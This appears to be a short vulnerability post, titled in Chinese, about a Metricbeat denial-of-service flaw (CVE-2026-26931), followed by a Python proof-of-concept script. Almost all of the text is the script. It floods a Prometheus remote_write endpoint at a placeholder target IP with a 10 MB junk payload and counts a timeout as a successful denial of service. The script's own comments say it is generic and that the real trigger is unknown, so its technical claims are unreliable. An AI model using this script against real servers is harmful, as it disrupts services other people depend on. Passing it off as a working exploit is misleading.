CVE-2026-26931 Metricbeat内存分配过大导致拒绝服务漏洞

import requests # This is a generic Proof of Concept for DoS via excessive allocation. # Target the Prometheus remote_write endpoint of Metricbeat. # Replace TARGET_IP with the actual IP address. TARGET_URL = "http://TARGET_IP:9200/_prometheus/metrics" # Attempt to trigger the vulnerability by sending a request # that implies a very large allocation size or payload. # The specific trigger depends on the implementation of remote_write. headers = { "Content-Type": "application/x-protobuf", "Content-Encoding": "snappy", # Some implementations might parse headers for size hints "X-Prometheus-Remote-Write-Version": "0.1.0" } # Simulate a payload that might cause an overflow or large allocation request. # In a real scenario, this would be a crafted protobuf message. payload = b"A" * 10000000 try: print(f"Sending attack payload to {TARGET_URL}...") response = requests.post(TARGET_URL, headers=headers, data=payload, timeout=5) print(f"Request completed with status: {response.status_code}") except requests.exceptions.Timeout: print("Server timed out (potential successful DoS)") except Exception as e: print(f"An error occurred: {e}")